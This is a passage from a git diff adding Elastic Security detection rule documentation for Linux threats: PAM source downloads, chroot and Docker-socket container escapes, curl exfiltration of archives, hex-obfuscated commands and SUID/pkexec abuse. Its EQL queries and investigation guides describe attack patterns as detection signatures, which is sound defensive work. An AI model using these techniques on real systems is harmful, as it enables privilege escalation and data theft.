modifications to critical authentication components. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "ProcessRollup2") and +process.name in ("curl", "wget") and +process.args like~ "https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-chroot-container-escape-via-mount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-chroot-container-escape-via-mount.asciidoc new file mode 100644 index 0000000000..f210681889 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-chroot-container-escape-via-mount.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-10-potential-chroot-container-escape-via-mount]] +=== Potential Chroot Container Escape via Mount + +Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/v/portugues-ht/linux-hardening/privilege-escalation/escaping-from-limited-bash + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Container +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Chroot Container Escape via Mount* + + +Chroot and mount are Linux utilities that can isolate processes and manage file systems, respectively. Adversaries may exploit these to escape containerized environments by mounting the host's root file system and using chroot to change the root directory, gaining unauthorized access. The detection rule identifies this rare sequence by monitoring for mount and chroot executions within a short timeframe, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the alert to understand which system and parent process are involved. +- Examine the process execution timeline to confirm the sequence of the mount and chroot commands, ensuring they occurred within the specified maxspan of 5 minutes. +- Investigate the process.args field for the mount command to determine the specific device or file system being targeted, especially focusing on any /dev/sd* entries that suggest attempts to access physical disks. +- Check the user permissions and roles associated with the process.parent.name (e.g., bash, dash, sh) to assess if the user had sufficient privileges to perform such operations. +- Analyze the broader context of the host.os.type to identify any recent changes or anomalies in the Linux environment that could have facilitated this behavior. +- Correlate with other security logs or alerts from the same host to identify any additional suspicious activities or patterns that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they involve mounting and chroot operations. Review scheduled tasks and scripts to identify legitimate use and consider excluding these specific processes from the rule. +- Backup or recovery operations that require mounting file systems and changing root directories can also cause false positives. Identify these operations and create exceptions for the associated processes or users. +- Development or testing environments where users frequently perform mount and chroot operations for legitimate purposes may trigger alerts. Evaluate the necessity of these actions and exclude known safe processes or users. +- Automated deployment tools that use mount and chroot as part of their setup routines can be mistaken for malicious activity. Verify the tools and their processes, then add them to an exclusion list if they are deemed safe. +- Custom scripts executed by trusted users that involve mount and chroot should be reviewed. If these scripts are part of regular operations, consider excluding them from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system. +- Terminate any suspicious processes identified as executing the mount or chroot commands within the container to halt any ongoing escape attempts. +- Conduct a thorough review of the container's permissions and configurations to ensure that only necessary privileges are granted, reducing the risk of similar exploits. +- Inspect the host system for any signs of compromise or unauthorized access, focusing on logs and system changes around the time of the detected activity. +- Restore the container from a known good backup if any unauthorized changes or compromises are detected, ensuring the environment is clean and secure. +- Update and patch the container and host systems to address any known vulnerabilities that could be exploited for privilege escalation or container escape. +- Escalate the incident to the security operations team for further analysis and to determine if additional monitoring or security measures are required to prevent future occurrences. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Session View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above. + +*To confirm that Session View data is enabled:* + +- Go to “Manage → Policies”, and edit one or more of your Elastic Defend integration policies. +- Select the” Policy settings” tab, then scroll down to the “Linux event collection” section near the bottom. +- Check the box for “Process events”, and turn on the “Include session data” toggle. +- If you want to include file and network alerts in Session View, check the boxes for “Network and File events”. +- If you want to enable terminal output capture, turn on the “Capture terminal output” toggle. +For more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the https://www.elastic.co/guide/en/security/current/session-view.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=5m + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.name == "mount" and process.args : "/dev/sd*" and process.args_count >= 3 and + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.name == "chroot"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-data-exfiltration-through-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-data-exfiltration-through-curl.asciidoc new file mode 100644 index 0000000000..c72ab2bd08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-data-exfiltration-through-curl.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-10-potential-data-exfiltration-through-curl]] +=== Potential Data Exfiltration Through Curl + +Detects the use of curl to upload an archived file to an internet server. Threat actors often will collect data on a system and compress it in an archive file before exfiltrating the file back to their C2 server for review. Many threat actors have been seen utilizing curl to upload this archive file with the collected data to do this. Use of curl in this way while not inherently malicious should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://everything.curl.dev/usingcurl/uploads + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Curl* + + +Curl is a command-line tool used for transferring data with URLs, commonly employed for legitimate data exchange tasks. However, adversaries can exploit curl to exfiltrate sensitive data by uploading compressed files to remote servers. The detection rule identifies suspicious curl usage by monitoring for specific command patterns and arguments indicative of data uploads, flagging abnormal activities for further investigation. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of suspicious arguments such as "-F", "-T", "-d", or "--data*" and check for any compressed file extensions like .zip, .gz, or .tgz being uploaded to an external server. +- Investigate the parent process of the curl command to understand the context in which curl was executed, including the parent executable and its purpose. +- Examine network logs to identify the destination IP address or domain to which the data was being uploaded, and assess whether it is a known or suspicious entity. +- Check for any recent file creation or modification events on the host that match the compressed file types mentioned in the query, which could indicate data collection prior to exfiltration. +- Correlate this event with other security alerts or logs from the same host to identify any patterns of behavior that might suggest a broader compromise or data exfiltration attempt. + + +*False positive analysis* + + +- Legitimate data transfers using curl for system backups or data synchronization can trigger the rule. To manage this, identify and whitelist specific processes or scripts that are known to perform these tasks regularly. +- Automated system updates or software installations that use curl to download and upload data might be flagged. Exclude these processes by verifying their source and adding them to an exception list if they are from trusted vendors. +- Internal data transfers within a secure network that use curl for efficiency can be mistaken for exfiltration. Monitor the destination IP addresses and exclude those that are internal or known safe endpoints. +- Developers or system administrators using curl for testing or development purposes may inadvertently trigger the rule. Educate these users on the potential alerts and establish a process for them to notify security teams of their activities to prevent unnecessary investigations. +- Scheduled tasks or cron jobs that use curl for routine data uploads should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Terminate any suspicious curl processes identified by the detection rule to stop ongoing data transfers. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or compromised data. +- Change credentials and access keys that may have been exposed or used during the incident to prevent unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Review and update firewall and network security rules to block unauthorized outbound traffic, especially to suspicious or unknown external servers. +- Implement enhanced monitoring and logging for curl usage and similar data transfer tools to detect and respond to future exfiltration attempts promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name == "curl" and +?process.parent.executable != null and (process.args in ("-F", "-T", "-d") or process.args like "--data*") and +process.command_line like~ ("*@/*.zip*", "*@/*.gz*", "*@/*.tgz*", "*b64=@*", "*=<*") and +process.command_line like~ "*http*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-hex-payload-execution-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-hex-payload-execution-via-command-line.asciidoc new file mode 100644 index 0000000000..adbd4d9cf9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-hex-payload-execution-via-command-line.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-10-potential-hex-payload-execution-via-command-line]] +=== Potential Hex Payload Execution via Command-Line + +This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hex Payload Execution via Command-Line* + + +In Linux environments, command-line interfaces are pivotal for executing processes and scripts. Adversaries exploit this by embedding payloads in hexadecimal format to obfuscate their actions, evading detection. The detection rule identifies processes with lengthy command lines containing multiple hex patterns, signaling potential obfuscation. This approach targets defense evasion tactics, leveraging Elastic Defend to flag suspicious executions. + + +*Possible investigation steps* + + +- Review the process.command_line field to identify the specific hexadecimal patterns and assess if they correspond to known malicious payloads or commands. +- Examine the process.parent.executable to determine the parent process that initiated the execution, which may provide context on whether the execution is expected or suspicious. +- Check the user account associated with the process execution to verify if the activity aligns with typical user behavior or if it indicates potential compromise. +- Investigate the host where the alert was triggered to identify any other related suspicious activities or anomalies that might indicate a broader compromise. +- Correlate the event with other logs or alerts from the same host or user to identify patterns or repeated attempts at obfuscation and execution. + + +*False positive analysis* + + +- Legitimate software installations or updates may use hexadecimal encoding in command lines for legitimate purposes. Users can create exceptions for known software update processes by identifying their parent executable paths and excluding them from the rule. +- System administration scripts or tools that utilize hexadecimal encoding for configuration or data processing might trigger the rule. Review and whitelist these scripts by verifying their source and purpose, then exclude them based on their command line patterns or parent processes. +- Security tools or monitoring software that perform regular scans or data collection using hexadecimal encoding could be flagged. Confirm these tools' legitimacy and add them to an exception list by specifying their executable paths or command line characteristics. +- Custom applications developed in-house that use hexadecimal encoding for data handling or communication may be mistakenly identified. Document these applications and exclude them by their unique command line signatures or parent process identifiers. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as modified files or unauthorized user accounts. +- Remove any identified malicious files or scripts from the system to ensure the threat is eradicated. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +?process.parent.executable != null and +process.command_line : "*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*" and +length(process.command_line) > 50 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-through-writable-docker-socket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-through-writable-docker-socket.asciidoc new file mode 100644 index 0000000000..5960d108e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-through-writable-docker-socket.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-10-potential-privilege-escalation-through-writable-docker-socket]] +=== Potential Privilege Escalation through Writable Docker Socket + +This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Container +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation through Writable Docker Socket* + + +Docker sockets facilitate communication between the Docker client and daemon, typically restricted to root or specific groups. Adversaries with write access can exploit these sockets to execute containers with elevated privileges, potentially accessing the host system. The detection rule identifies suspicious activities by monitoring processes like Docker and Socat for unauthorized socket interactions, focusing on non-root users attempting to execute commands, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (either "docker" or "socat") and the associated arguments that triggered the alert, focusing on the use of "unix://*/docker.sock" or "unix://*/dockershim.sock". +- Check the user and group IDs associated with the process to confirm they are non-root, as indicated by the exclusion of user.Ext.real.id and group.Ext.real.id being "0". +- Investigate the user account involved in the alert to determine if they should have access to Docker sockets and whether their permissions have been misconfigured or compromised. +- Examine the system logs and Docker daemon logs for any additional context or anomalies around the time of the alert to identify any unauthorized or suspicious activities. +- Assess the current state of the system for any unauthorized containers that may have been started, and inspect their configurations and running processes for signs of privilege escalation attempts. +- Verify the integrity and permissions of the Docker socket files to ensure they have not been altered to allow unauthorized access. + + +*False positive analysis* + + +- Legitimate administrative tasks by non-root users with elevated permissions can trigger the rule. To manage this, identify trusted users or groups who regularly perform such tasks and create exceptions for their activities. +- Automated scripts or services that require Docker socket access for legitimate operations may be flagged. Review these scripts or services and whitelist their specific process names or arguments to prevent false positives. +- Development environments where developers frequently use Docker for testing might cause alerts. Consider creating a separate monitoring policy for development environments or exclude known development user accounts from this rule. +- Continuous integration/continuous deployment (CI/CD) pipelines that interact with Docker sockets can be mistakenly identified as threats. Ensure that these pipelines are running under specific service accounts and exclude these accounts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any unauthorized Docker containers that were started by non-root users, especially those interacting with Docker sockets. +- Review and revoke any unnecessary write permissions to Docker sockets for non-root users and groups, ensuring only trusted users have access. +- Conduct a thorough audit of user accounts and group memberships on the affected system to identify and remove any unauthorized or suspicious accounts. +- Restore the system from a known good backup if unauthorized changes or access to sensitive data are detected. +- Implement monitoring and alerting for any future unauthorized access attempts to Docker sockets, focusing on non-root user activities. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +( + (process.name == "docker" and process.args : "run" and process.args : "-it" and + process.args : ("unix://*/docker.sock", "unix://*/dockershim.sock")) or + (process.name == "socat" and process.args : ("UNIX-CONNECT:*/docker.sock", "UNIX-CONNECT:*/dockershim.sock")) +) and not user.Ext.real.id : "0" and not group.Ext.real.id : "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc new file mode 100644 index 0000000000..fb5301165f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-10-potential-privilege-escalation-via-suid-sgid-proxy-execution]] +=== Potential Privilege Escalation via SUID/SGID Proxy Execution + +Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution* + + +This rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non‑root, signaling an attempt to proxy elevated rights. It matters because a non‑privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control. + + +*Possible investigation steps* + + +- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald. +- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts. +- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children. +- Validate whether the executable’s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and 